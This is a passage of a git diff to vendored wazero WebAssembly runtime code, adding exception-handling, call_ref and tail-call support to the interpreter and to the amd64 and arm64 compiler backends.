operationKindTailCallReturnCall, U1: uint64(functionIndex)} +} + +// NewOperationCallIndirect is a constructor for unionOperation with operationKindTailCallReturnCallIndirect. +// +// This corresponds to +// +// wasm.OpcodeTailCallReturnCallIndirect. +func newOperationTailCallReturnCallIndirect(typeIndex, tableIndex uint32, dropDepth inclusiveRange, l label) unionOperation { + return unionOperation{Kind: operationKindTailCallReturnCallIndirect, U1: uint64(typeIndex), U2: uint64(tableIndex), Us: []uint64{dropDepth.AsU64(), uint64(l)}} +} + +// newOperationThrow is a constructor for unionOperation with operationKindThrow. +// U1 stores the tag index. +func newOperationThrow(tagIndex uint32) unionOperation { + return unionOperation{Kind: operationKindThrow, U1: uint64(tagIndex)} +} + +// newOperationThrowRef is a constructor for unionOperation with operationKindThrowRef. +func newOperationThrowRef() unionOperation { + return unionOperation{Kind: operationKindThrowRef} +} + +// newOperationCallRef is a constructor for operationKindCallRef. +// U1 = type index. +func newOperationCallRef(typeIndex uint32) unionOperation { + return unionOperation{Kind: operationKindCallRef, U1: uint64(typeIndex)} +} + +// newOperationReturnCallRef is a constructor for operationKindReturnCallRef. +// U1 = type index, U2 = table index (unused), Us = [dropDepth, label]. +func newOperationReturnCallRef(typeIndex uint32, dropDepth inclusiveRange, l label) unionOperation { + return unionOperation{Kind: operationKindReturnCallRef, U1: uint64(typeIndex), Us: []uint64{dropDepth.AsU64(), uint64(l)}} +} + +// newOperationRefAsNonNull is a constructor for operationKindRefAsNonNull. +func newOperationRefAsNonNull() unionOperation { + return unionOperation{Kind: operationKindRefAsNonNull} +} + +// newOperationBrOnNull is a constructor for operationKindBrOnNull. +// If ref is null, branch to U1 (thenTarget) with drop U3; otherwise continue at U2 (elseTarget). +func newOperationBrOnNull(thenTarget, elseTarget label, thenDrop inclusiveRange) unionOperation { + return unionOperation{ + Kind: operationKindBrOnNull, + U1: uint64(thenTarget), + U2: uint64(elseTarget), + U3: thenDrop.AsU64(), + } +} + +// newOperationBrOnNonNull is a constructor for operationKindBrOnNonNull. +// If ref is non-null, branch to U1 (thenTarget) with drop U3; otherwise continue at U2 (elseTarget). +func newOperationBrOnNonNull(thenTarget, elseTarget label, thenDrop inclusiveRange) unionOperation { + return unionOperation{ + Kind: operationKindBrOnNonNull, + U1: uint64(thenTarget), + U2: uint64(elseTarget), + U3: thenDrop.AsU64(), + } +} + +// exceptionTableEntry represents one try_table's exception handling scope. +// Built at compile time and stored per compiledFunction. +type exceptionTableEntry struct { + startPC uint64 // first PC inside the try_table body + endPC uint64 // PC of continuation label (exclusive) + clauses []exceptionTableCatchClause +} + +// exceptionTableCatchClause is a single catch clause within an exception table entry. +type exceptionTableCatchClause struct { + kind byte // CatchKindCatch, CatchKindCatchRef, CatchKindCatchAll, CatchKindCatchAllRef + tagIndex uint32 // tag index for catch/catch_ref + targetPC uint64 // resolved PC to jump to on match + targetStackDepth int // = targetFrame.originalStackLenWithoutParamUint64 +} + +// pendingExceptionTableEntry is an unresolved exception table entry built during compilation. +// Labels are resolved to final PCs in lowerIR. +type pendingExceptionTableEntry struct { + startOpIndex int // index in Operations[] of the first instruction inside the try_table body + continuationFrameID uint32 + clauses []pendingCatchClause +} + +// pendingCatchClause is an unresolved catch clause within a pending exception table entry. +type pendingCatchClause struct { + kind byte + tagIndex uint32 + targetLabel label // unresolved label, resolved in lowerIR + targetStackDepth int // = targetFrame.originalStackLenWithoutParamUint64 +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/signature.go b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/signature.go index 7b9d5602..b1cc7cd0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/signature.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/interpreter/signature.go @@ -268,14 +268,28 @@ func (c *compiler) wasmOpcodeSignature(op wasm.Opcode, index uint32) (*signature return signature_I32_None, nil case wasm.OpcodeElse, wasm.OpcodeEnd, wasm.OpcodeBr: return signature_None_None, nil + case wasm.OpcodeThrow, wasm.OpcodeThrowRef, wasm.OpcodeTryTable: + // Stack manipulation handled dynamically by the compiler. + return signature_None_None, nil case wasm.OpcodeBrIf, wasm.OpcodeBrTable: return signature_I32_None, nil case wasm.OpcodeReturn: return signature_None_None, nil - case wasm.OpcodeCall: + case wasm.OpcodeCall, wasm.OpcodeTailCallReturnCall: return c.funcTypeToSigs.get(c.funcs[index], false /* direct */), nil - case wasm.OpcodeCallIndirect: + case wasm.OpcodeCallIndirect, wasm.OpcodeTailCallReturnCallIndirect: return c.funcTypeToSigs.get(index, true /* call_indirect */), nil + case wasm.OpcodeCallRef, wasm.OpcodeReturnCallRef: + return c.funcTypeToSigs.getCallRef(index), nil + case wasm.OpcodeRefAsNonNull: + // Pop a ref (i64), push it back (i64). Traps if null at runtime. + return signature_I64_I64, nil + case wasm.OpcodeBrOnNull: + // Pop a ref (i64). If null, branch; if non-null, push ref back. + return signature_I64_None, nil + case wasm.OpcodeBrOnNonNull: + // Pop a ref (i64). If non-null, push and branch; if null, fall through. + return signature_I64_None, nil case wasm.OpcodeDrop: return signature_Unknown_None, nil case wasm.OpcodeSelect, wasm.OpcodeTypedSelect: @@ -650,6 +664,7 @@ func (c *compiler) wasmOpcodeSignature(op wasm.Opcode, index uint32) (*signature type funcTypeToIRSignatures struct { directCalls []*signature indirectCalls []*signature + callRefCalls []*signature wasmTypes []wasm.FunctionType } @@ -694,13 +709,36 @@ func (f *funcTypeToIRSignatures) get(typeIndex wasm.Index, indirect bool) *signa return sig } +// getCallRef returns the *signature for call_ref, which is like a direct call +// but with an extra i64 input for the funcref operand. +func (f *funcTypeToIRSignatures) getCallRef(typeIndex wasm.Index) *signature { + if sig := f.callRefCalls[typeIndex]; sig != nil { + return sig + } + tp := &f.wasmTypes[typeIndex] + sig := &signature{ + in: make([]unsignedType, 0, len(tp.Params)+1), + out: make([]unsignedType, 0, len(tp.Results)), + } + for _, vt := range tp.Params { + sig.in = append(sig.in, wasmValueTypeTounsignedType(vt)) + } + sig.in = append(sig.in, unsignedTypeI64) // funcref operand + for _, vt := range tp.Results { + sig.out = append(sig.out, wasmValueTypeTounsignedType(vt)) + } + f.callRefCalls[typeIndex] = sig + return sig +} + func wasmValueTypeTounsignedType(vt wasm.ValueType) unsignedType { switch vt { case wasm.ValueTypeI32: return unsignedTypeI32 case wasm.ValueTypeI64, // From interpreterir layer, ref type values are opaque 64-bit pointers. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + wasm.ValueTypeExternref, wasm.ValueTypeFuncref, + wasm.ValueTypeExnref: return unsignedTypeI64 case wasm.ValueTypeF32: return unsignedTypeF32 @@ -708,6 +746,11 @@ func wasmValueTypeTounsignedType(vt wasm.ValueType) unsignedType { return unsignedTypeF64 case wasm.ValueTypeV128: return unsignedTypeV128 + default: + // Concrete ref types (ref $t) have variable bit patterns. + if vt.IsRef() { + return unsignedTypeI64 + } } panic("unreachable") } @@ -718,7 +761,8 @@ func wasmValueTypeToUnsignedOutSignature(vt wasm.ValueType) *signature { return signature_None_I32 case wasm.ValueTypeI64, // From interpreterir layer, ref type values are opaque 64-bit pointers. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + wasm.ValueTypeExternref, wasm.ValueTypeFuncref, + wasm.ValueTypeExnref: return signature_None_I64 case wasm.ValueTypeF32: return signature_None_F32 @@ -726,6 +770,10 @@ func wasmValueTypeToUnsignedOutSignature(vt wasm.ValueType) *signature { return signature_None_F64 case wasm.ValueTypeV128: return signature_None_V128 + default: + if vt.IsRef() { + return signature_None_I64 + } } panic("unreachable") } @@ -736,7 +784,8 @@ func wasmValueTypeToUnsignedInSignature(vt wasm.ValueType) *signature { return signature_I32_None case wasm.ValueTypeI64, // From interpreterir layer, ref type values are opaque 64-bit pointers. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + wasm.ValueTypeExternref, wasm.ValueTypeFuncref, + wasm.ValueTypeExnref: return signature_I64_None case wasm.ValueTypeF32: return signature_F32_None @@ -744,6 +793,10 @@ func wasmValueTypeToUnsignedInSignature(vt wasm.ValueType) *signature { return signature_F64_None case wasm.ValueTypeV128: return signature_V128_None + default: + if vt.IsRef() { + return signature_I64_None + } } panic("unreachable") } @@ -754,7 +807,8 @@ func wasmValueTypeToUnsignedInOutSignature(vt wasm.ValueType) *signature { return signature_I32_I32 case wasm.ValueTypeI64, // At interpreterir layer, ref type values are opaque 64-bit pointers. - wasm.ValueTypeExternref, wasm.ValueTypeFuncref: + wasm.ValueTypeExternref, wasm.ValueTypeFuncref, + wasm.ValueTypeExnref: return signature_I64_I64 case wasm.ValueTypeF32: return signature_F32_F32 @@ -762,6 +816,10 @@ func wasmValueTypeToUnsignedInOutSignature(vt wasm.ValueType) *signature { return signature_F64_F64 case wasm.ValueTypeV128: return signature_V128_V128 + default: + if vt.IsRef() { + return signature_I64_I64 + } } panic("unreachable") } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/compiler.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/compiler.go index 62d36501..8e3f08ef 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/compiler.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/compiler.go @@ -88,7 +88,7 @@ type Compiler interface { MatchInstrOneOf(def SSAValueDefinition, opcodes []ssa.Opcode) ssa.Opcode // AddRelocationInfo appends the relocation information for the function reference at the current buffer offset. - AddRelocationInfo(funcRef ssa.FuncRef) + AddRelocationInfo(funcRef ssa.FuncRef, isTailCall bool) // AddSourceOffsetInfo appends the source offset information for the given offset. AddSourceOffsetInfo(executableOffset int64, sourceOffset ssa.SourceOffset) @@ -115,6 +115,8 @@ type RelocationInfo struct { Offset int64 // Target is the target function of the call instruction. FuncRef ssa.FuncRef + // IsTailCall indicates whether the call instruction is a tail call. + IsTailCall bool } // compiler implements Compiler. @@ -352,10 +354,11 @@ func (c *compiler) SourceOffsetInfo() []SourceOffsetInfo { } // AddRelocationInfo implements Compiler.AddRelocationInfo. -func (c *compiler) AddRelocationInfo(funcRef ssa.FuncRef) { +func (c *compiler) AddRelocationInfo(funcRef ssa.FuncRef, isTailCall bool) { c.relocations = append(c.relocations, RelocationInfo{ - Offset: int64(len(c.buf)), - FuncRef: funcRef, + Offset: int64(len(c.buf)), + FuncRef: funcRef, + IsTailCall: isTailCall, }) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/abi.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/abi.go index 130f8c62..dc6df310 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/abi.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/abi.go @@ -7,7 +7,7 @@ import ( ) // For the details of the ABI, see: -// https://github.com/golang/go/blob/49d42128fd8594c172162961ead19ac95e247d24/src/cmd/compile/abi-internal.md#amd64-architecture +// https://github.com/golang/go/blob/go1.24.0/src/cmd/compile/abi-internal.md#amd64-architecture var ( intArgResultRegs = []regalloc.RealReg{rax, rbx, rcx, rdi, rsi, r8, r9, r10, r11} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr.go index 6a3e58f5..901c87aa 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr.go @@ -21,7 +21,9 @@ type instruction struct { func (i *instruction) IsCall() bool { return i.kind == call } // IsIndirectCall implements regalloc.Instr. -func (i *instruction) IsIndirectCall() bool { return i.kind == callIndirect } +func (i *instruction) IsIndirectCall() bool { + return i.kind == callIndirect +} // IsReturn implements regalloc.Instr. func (i *instruction) IsReturn() bool { return i.kind == ret } @@ -288,6 +290,11 @@ func (i *instruction) String() string { case nopUseReg: return fmt.Sprintf("nop_use_reg %s", i.op1.format(true)) + case tailCall: + return fmt.Sprintf("tailCall %s", ssa.FuncRef(i.u1)) + case tailCallIndirect: + return fmt.Sprintf("tailCallIndirect %s", i.op1.format(true)) + default: panic(fmt.Sprintf("BUG: %d", int(i.kind))) } @@ -357,7 +364,7 @@ func (i *instruction) Uses(regs *[]regalloc.VReg) []regalloc.VReg { default: panic(fmt.Sprintf("BUG: invalid operand: %s", i)) } - case useKindCallInd: + case useKindCallInd, useKindTailCallInd: op := i.op1 switch op.kind { case operandKindReg: @@ -428,13 +435,16 @@ func (i *instruction) Uses(regs *[]regalloc.VReg) []regalloc.VReg { func (i *instruction) AssignUse(index int, v regalloc.VReg) { switch uk := useKinds[i.kind]; uk { case useKindNone: - case useKindCallInd: + case useKindCallInd, useKindTailCallInd: if index != 0 { panic("BUG") } op := &i.op1 switch op.kind { case operandKindReg: + if uk == useKindTailCallInd && v != r11VReg { + panic("BUG") + } op.setReg(v) case operandKindMem: op.addressMode().assignUses(index, v) @@ -838,6 +848,12 @@ const ( // nopUseReg is a meta instruction that uses one register and does nothing. nopUseReg + // tailCall is a meta instruction that emits a tail call. + tailCall + + // tailCallIndirect is a meta instruction that emits a tail call with an indirect call. + tailCallIndirect + instrMax ) @@ -1079,6 +1095,10 @@ func (k instructionKind) String() string { return "lockcmpxchg" case lockxadd: return "lockxadd" + case tailCall: + return "tailCall" + case tailCallIndirect: + return "tailCallIndirect" default: panic("BUG") } @@ -1173,6 +1193,27 @@ func (i *instruction) asCallIndirect(ptr operand, abi *backend.FunctionABI) *ins return i } +func (i *instruction) asTailCallReturnCall(ref ssa.FuncRef, abi *backend.FunctionABI) *instruction { + i.kind = tailCall + i.u1 = uint64(ref) + if abi != nil { + i.u2 = abi.ABIInfoAsUint64() + } + return i +} + +func (i *instruction) asTailCallReturnCallIndirect(ptr operand, abi *backend.FunctionABI) *instruction { + if ptr.kind != operandKindReg && ptr.kind != operandKindMem { + panic("BUG") + } + i.kind = tailCallIndirect + i.op1 = ptr + if abi != nil { + i.u2 = abi.ABIInfoAsUint64() + } + return i +} + func (i *instruction) asRet() *instruction { i.kind = ret return i @@ -2342,6 +2383,8 @@ var defKinds = [instrMax]defKind{ lockxadd: defKindNone, neg: defKindNone, nopUseReg: defKindNone, + tailCall: defKindCall, + tailCallIndirect: defKindCall, } // String implements fmt.Stringer. @@ -2375,6 +2418,7 @@ const ( useKindBlendvpd useKindCall useKindCallInd + useKindTailCallInd useKindFcvtToSintSequence useKindFcvtToUintSequence ) @@ -2425,6 +2469,8 @@ var useKinds = [instrMax]useKind{ lockxadd: useKindOp1RegOp2, neg: useKindOp1, nopUseReg: useKindOp1, + tailCall: useKindCall, + tailCallIndirect: useKindTailCallInd, } func (u useKind) String() string { @@ -2441,6 +2487,8 @@ func (u useKind) String() string { return "call" case useKindCallInd: return "callInd" + case useKindTailCallInd: + return "tailCallInd" default: return "invalid" } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr_encoding.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr_encoding.go index 6637b428..d1eefbdb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr_encoding.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/instr_encoding.go @@ -1211,7 +1211,7 @@ func (i *instruction) encode(c backend.Compiler) (needsLabelResolution bool) { case call: c.EmitByte(0xe8) // Meaning that the call target is a function value, and requires relocation. - c.AddRelocationInfo(ssa.FuncRef(i.u1)) + c.AddRelocationInfo(ssa.FuncRef(i.u1), false) // Note that this is zero as a placeholder for the call target if it's a function value. c.Emit4Bytes(uint32(i.u2)) @@ -1244,6 +1244,37 @@ func (i *instruction) encode(c backend.Compiler) (needsLabelResolution bool) { panic("BUG: invalid operand kind") } + case tailCall: + // Encode as jmp. + c.EmitByte(0xe9) + // Meaning that the call target is a function value, and requires relocation. + c.AddRelocationInfo(ssa.FuncRef(i.u1), true) + // Note that this is zero as a placeholder for the call target if it's a function value. + c.Emit4Bytes(uint32(i.u2)) + + case tailCallIndirect: + op := i.op1 + + const opcodeNum = 1 + const opcode = 0xff + const regMemSubOpcode = 4 + rex := rexInfo(0).clearW() + switch op.kind { + // Indirect tail calls always take a register as the target. + // Note: the register should be a callee-saved register (usually r11). + case operandKindReg: + dst := regEncodings[op.reg().RealReg()] + encodeRegReg(c, + legacyPrefixesNone, + opcode, opcodeNum, + regMemSubOpcode, + dst, + rex, + ) + default: + panic("BUG: invalid operand kind") + } + case xchg: src, dst := regEncodings[i.op1.reg().RealReg()], i.op2 size := i.u1 diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine.go index fd0d69ca..66901f77 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine.go @@ -1067,7 +1067,7 @@ func (m *machine) LowerInstr(instr *ssa.Instruction) { dst := m.c.VRegOf(instr.Return()) // At this point, the ptr is ensured to be aligned, so using a normal load is atomic. - // https://github.com/golang/go/blob/adead1a93f472affa97c494ef19f2f492ee6f34a/src/runtime/internal/atomic/atomic_amd64.go#L30 + // https://github.com/golang/go/blob/go1.24.0/src/internal/runtime/atomic/atomic_amd64.go#L29 mem := newOperandMem(m.lowerToAddressMode(ptr, 0)) load := m.allocateInstr() switch size { @@ -1109,6 +1109,9 @@ func (m *machine) LowerInstr(instr *ssa.Instruction) { atomicOp, size := instr.AtomicRmwData() m.lowerAtomicRmw(atomicOp, addr, val, size, instr.Return()) + case ssa.OpcodeTailCallReturnCall, ssa.OpcodeTailCallReturnCallIndirect: + m.lowerTailCall(instr) + default: panic("TODO: lowering " + op.String()) } @@ -1407,7 +1410,7 @@ func (m *machine) lowerVconst(dst regalloc.VReg, lo, hi uint64) { } func (m *machine) lowerCtz(instr *ssa.Instruction) { - if m.cpuFeatures.HasExtra(platform.CpuExtraFeatureAmd64ABM) { + if m.cpuFeatures.Has(platform.CpuFeatureAmd64BMI1) { m.lowerUnaryRmR(instr, unaryRmROpcodeTzcnt) } else { // On processors that do not support TZCNT, the BSF instruction is @@ -1461,7 +1464,7 @@ func (m *machine) lowerCtz(instr *ssa.Instruction) { } func (m *machine) lowerClz(instr *ssa.Instruction) { - if m.cpuFeatures.HasExtra(platform.CpuExtraFeatureAmd64ABM) { + if m.cpuFeatures.Has(platform.CpuFeatureAmd64ABM) { m.lowerUnaryRmR(instr, unaryRmROpcodeLzcnt) } else { // On processors that do not support LZCNT, we combine BSR (calculating @@ -1885,36 +1888,12 @@ func (m *machine) lowerStore(si *ssa.Instruction) { func (m *machine) lowerCall(si *ssa.Instruction) { isDirectCall := si.Opcode() == ssa.OpcodeCall - var indirectCalleePtr ssa.Value - var directCallee ssa.FuncRef - var sigID ssa.SignatureID - var args []ssa.Value - var isMemmove bool - if isDirectCall { - directCallee, sigID, args = si.CallData() - } else { - indirectCalleePtr, sigID, args, isMemmove = si.CallIndirectData() - } - calleeABI := m.c.GetFunctionABI(m.c.SSABuilder().ResolveSignature(sigID)) - - stackSlotSize := int64(calleeABI.AlignedArgResultStackSlotSize()) - if m.maxRequiredStackSizeForCalls < stackSlotSize+16 { - m.maxRequiredStackSizeForCalls = stackSlotSize + 16 // 16 == return address + RBP. - } - - // Note: See machine.SetupPrologue for the stack layout. - // The stack pointer decrease/increase will be inserted later in the compilation. - - for i, arg := range args { - reg := m.c.VRegOf(arg) - def := m.c.ValueDefinition(arg) - m.callerGenVRegToFunctionArg(calleeABI, i, reg, def, stackSlotSize) - } + indirectCalleePtr, directCallee, isMemmove, calleeABI, stackSlotSize := m.prepareCall(si, isDirectCall) if isMemmove { // Go's memmove *might* use all xmm0-xmm15, so we need to release them. - // https://github.com/golang/go/blob/49d42128fd8594c172162961ead19ac95e247d24/src/cmd/compile/abi-internal.md#architecture-specifics - // https://github.com/golang/go/blob/49d42128fd8594c172162961ead19ac95e247d24/src/runtime/memmove_amd64.s#L271-L286 + // https://github.com/golang/go/blob/go1.24.0/src/cmd/compile/abi-internal.md#architecture-specifics + // https://github.com/golang/go/blob/go1.24.0/src/runtime/memmove_amd64.s#L286-L301 for i := regalloc.RealReg(0); i < 16; i++ { m.insert(m.allocateInstr().asDefineUninitializedReg(regInfo.RealRegToVReg[xmm0+i])) } @@ -1939,6 +1918,39 @@ func (m *machine) lowerCall(si *ssa.Instruction) { m.insert(m.allocateInstr().asNopUseReg(regInfo.RealRegToVReg[rdx])) } + m.insertReturns(si, calleeABI, stackSlotSize) +} + +func (m *machine) prepareCall(si *ssa.Instruction, isDirectCall bool) (ssa.Value, ssa.FuncRef, bool, *backend.FunctionABI, int64) { + var indirectCalleePtr ssa.Value + var directCallee ssa.FuncRef + var sigID ssa.SignatureID + var args []ssa.Value + var isMemmove bool + if isDirectCall { + directCallee, sigID, args = si.CallData() + } else { + indirectCalleePtr, sigID, args, isMemmove = si.CallIndirectData() + } + calleeABI := m.c.GetFunctionABI(m.c.SSABuilder().ResolveSignature(sigID)) + + stackSlotSize := int64(calleeABI.AlignedArgResultStackSlotSize()) + if m.maxRequiredStackSizeForCalls < stackSlotSize+16 { + m.maxRequiredStackSizeForCalls = stackSlotSize + 16 // 16 == return address + RBP. + } + + // Note: See machine.SetupPrologue for the stack layout. + // The stack pointer decrease/increase will be inserted later in the compilation. + + for i, arg := range args { + reg := m.c.VRegOf(arg) + def := m.c.ValueDefinition(arg) + m.callerGenVRegToFunctionArg(calleeABI, i, reg, def, stackSlotSize) + } + return indirectCalleePtr, directCallee, isMemmove, calleeABI, stackSlotSize +} + +func (m *machine) insertReturns(si *ssa.Instruction, calleeABI *backend.FunctionABI, stackSlotSize int64) { var index int r1, rs := si.Returns() if r1.Valid() { @@ -1952,6 +1964,43 @@ func (m *machine) lowerCall(si *ssa.Instruction) { } } +func (m *machine) lowerTailCall(si *ssa.Instruction) { + isDirectCall := si.Opcode() == ssa.OpcodeTailCallReturnCall + indirectCalleePtr, directCallee, isMemmove, calleeABI, stackSlotSize := m.prepareCall(si, isDirectCall) + if isMemmove { + panic("memmove not supported in tail calls") + } + + isAllRegs := stackSlotSize == 0 + + switch { + case isDirectCall && isAllRegs: + call := m.allocateInstr().asTailCallReturnCall(directCallee, calleeABI) + m.insert(call) + case !isDirectCall && isAllRegs: + // In a tail call we insert the epilogue before the jump instruction, + // so an arbitrary register might be overwritten while restoring the stack. + // So, as compared to a regular indirect call, we ensure the pointer is stored + // in a caller-saved register (r11). + // For details, see internal/engine/RATIONALE.md + ptrOp := m.getOperand_Reg(m.c.ValueDefinition(indirectCalleePtr)) + tmpJmp := r11VReg + m.InsertMove(tmpJmp, ptrOp.reg(), ssa.TypeI64) + callInd := m.allocateInstr().asTailCallReturnCallIndirect(newOperandReg(tmpJmp), calleeABI) + m.insert(callInd) + case isDirectCall && !isAllRegs: + call := m.allocateInstr().asCall(directCallee, calleeABI) + m.insert(call) + case !isDirectCall && !isAllRegs: + ptrOp := m.getOperand_Mem_Reg(m.c.ValueDefinition(indirectCalleePtr)) + callInd := m.allocateInstr().asCallIndirect(ptrOp, calleeABI) + m.insert(callInd) + } + + // If this is a proper tail call, returns will be cleared in the postRegAlloc phase. + m.insertReturns(si, calleeABI, stackSlotSize) +} + // callerGenVRegToFunctionArg is the opposite of GenFunctionArgToVReg, which is used to generate the // caller side of the function call. func (m *machine) callerGenVRegToFunctionArg(a *backend.FunctionABI, argIndex int, reg regalloc.VReg, def backend.SSAValueDefinition, stackSlotSize int64) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine_pro_epi_logue.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine_pro_epi_logue.go index e5372986..fa3ca58a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine_pro_epi_logue.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/amd64/machine_pro_epi_logue.go @@ -188,6 +188,23 @@ func (m *machine) postRegAlloc() { linkInstr(inc, next) } continue + case tailCall, tailCallIndirect: + // At this point, reg alloc is done, therefore we can safely insert dec RPS instruction + // right before the tail call (jump) instruction. If this is done before reg alloc, the stack slot + // can point to the wrong location and therefore results in a wrong value. + tailCall := cur + _, _, _, _, size := backend.ABIInfoFromUint64(tailCall.u2) + if size > 0 { + dec := m.allocateInstr().asAluRmiR(aluRmiROpcodeSub, newOperandImm32(size), rspVReg, true) + linkInstr(tailCall.prev, dec) + linkInstr(dec, tailCall) + } + // In a tail call, we insert the epilogue before the jump instruction. + m.setupEpilogueAfter(tailCall.prev) + // If this has been encoded as a proper tail call, we can remove the trailing instructions + // For details, see internal/engine/RATIONALE.md + m.removeUntilRet(cur.next) + continue } // Removes the redundant copy instruction. @@ -278,6 +295,20 @@ func (m *machine) setupEpilogueAfter(cur *instruction) { linkInstr(cur, prevNext) } +// removeUntilRet removes the instructions starting from `cur` until the first `ret` instruction. +func (m *machine) removeUntilRet(cur *instruction) { + for ; cur != nil; cur = cur.next { + prev, next := cur.prev, cur.next + prev.next = next + if next != nil { + next.prev = prev + } + if cur.kind == ret { + return + } + } +} + func (m *machine) addRSP(offset int32, cur *instruction) *instruction { if offset == 0 { return cur diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/abi.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/abi.go index d1eaa7cd..f9e7be90 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/abi.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/abi.go @@ -7,7 +7,7 @@ import ( ) // References: -// * https://github.com/golang/go/blob/49d42128fd8594c172162961ead19ac95e247d24/src/cmd/compile/abi-internal.md#arm64-architecture +// * https://github.com/golang/go/blob/go1.24.0/src/cmd/compile/abi-internal.md#arm64-architecture // * https://developer.arm.com/documentation/102374/0101/Procedure-Call-Standard var ( @@ -261,6 +261,23 @@ func (m *machine) resolveAddressModeForOffset(offset int64, dstBits byte, rn reg func (m *machine) lowerCall(si *ssa.Instruction) { isDirectCall := si.Opcode() == ssa.OpcodeCall + indirectCalleePtr, directCallee, calleeABI, stackSlotSize := m.prepareCall(si, isDirectCall) + + if isDirectCall { + call := m.allocateInstr() + call.asCall(directCallee, calleeABI) + m.insert(call) + } else { + ptr := m.compiler.VRegOf(indirectCalleePtr) + callInd := m.allocateInstr() + callInd.asCallIndirect(ptr, calleeABI) + m.insert(callInd) + } + + m.insertReturns(si, calleeABI, stackSlotSize) +} + +func (m *machine) prepareCall(si *ssa.Instruction, isDirectCall bool) (ssa.Value, ssa.FuncRef, *backend.FunctionABI, int64) { var indirectCalleePtr ssa.Value var directCallee ssa.FuncRef var sigID ssa.SignatureID @@ -282,18 +299,10 @@ func (m *machine) lowerCall(si *ssa.Instruction) { def := m.compiler.ValueDefinition(arg) m.callerGenVRegToFunctionArg(calleeABI, i, reg, def, stackSlotSize) } + return indirectCalleePtr, directCallee, calleeABI, stackSlotSize +} - if isDirectCall { - call := m.allocateInstr() - call.asCall(directCallee, calleeABI) - m.insert(call) - } else { - ptr := m.compiler.VRegOf(indirectCalleePtr) - callInd := m.allocateInstr() - callInd.asCallIndirect(ptr, calleeABI) - m.insert(callInd) - } - +func (m *machine) insertReturns(si *ssa.Instruction, calleeABI *backend.FunctionABI, stackSlotSize int64) { var index int r1, rs := si.Returns() if r1.Valid() { @@ -307,6 +316,40 @@ func (m *machine) lowerCall(si *ssa.Instruction) { } } +func (m *machine) lowerTailCall(si *ssa.Instruction) { + isDirectCall := si.Opcode() == ssa.OpcodeTailCallReturnCall + indirectCalleePtr, directCallee, calleeABI, stackSlotSize := m.prepareCall(si, isDirectCall) + + // We currently support tail calls only when the args are passed via registers + // otherwise we fall back to a plain call. + // For details, see internal/engine/RATIONALE.md + isAllRegs := stackSlotSize == 0 + + switch { + case isDirectCall && isAllRegs: + tailJump := m.allocateInstr() + tailJump.asTailCall(directCallee, calleeABI) + m.insert(tailJump) + case !isDirectCall && isAllRegs: + ptr := m.compiler.VRegOf(indirectCalleePtr) + callInd := m.allocateInstr() + callInd.asTailCallIndirect(ptr, calleeABI) + m.insert(callInd) + case isDirectCall && !isAllRegs: + tailJump := m.allocateInstr() + tailJump.asCall(directCallee, calleeABI) + m.insert(tailJump) + case !isDirectCall && !isAllRegs: + ptr := m.compiler.VRegOf(indirectCalleePtr) + callInd := m.allocateInstr() + callInd.asCallIndirect(ptr, calleeABI) + m.insert(callInd) + } + + // If this is a proper tail call, returns will be cleared in the postRegAlloc phase. + m.insertReturns(si, calleeABI, stackSlotSize) +} + func (m *machine) insertAddOrSubStackPointer(rd regalloc.VReg, diff int64, add bool) { if imm12Operand, ok := asImm12Operand(uint64(diff)); ok { alu := m.allocateInstr() diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr.go b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr.go index 1f563428..56004467 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/wazevo/backend/isa/arm64/instr.go @@ -140,6 +140,8 @@ var defKinds = [numInstructionKinds]defKind{ atomicStore: 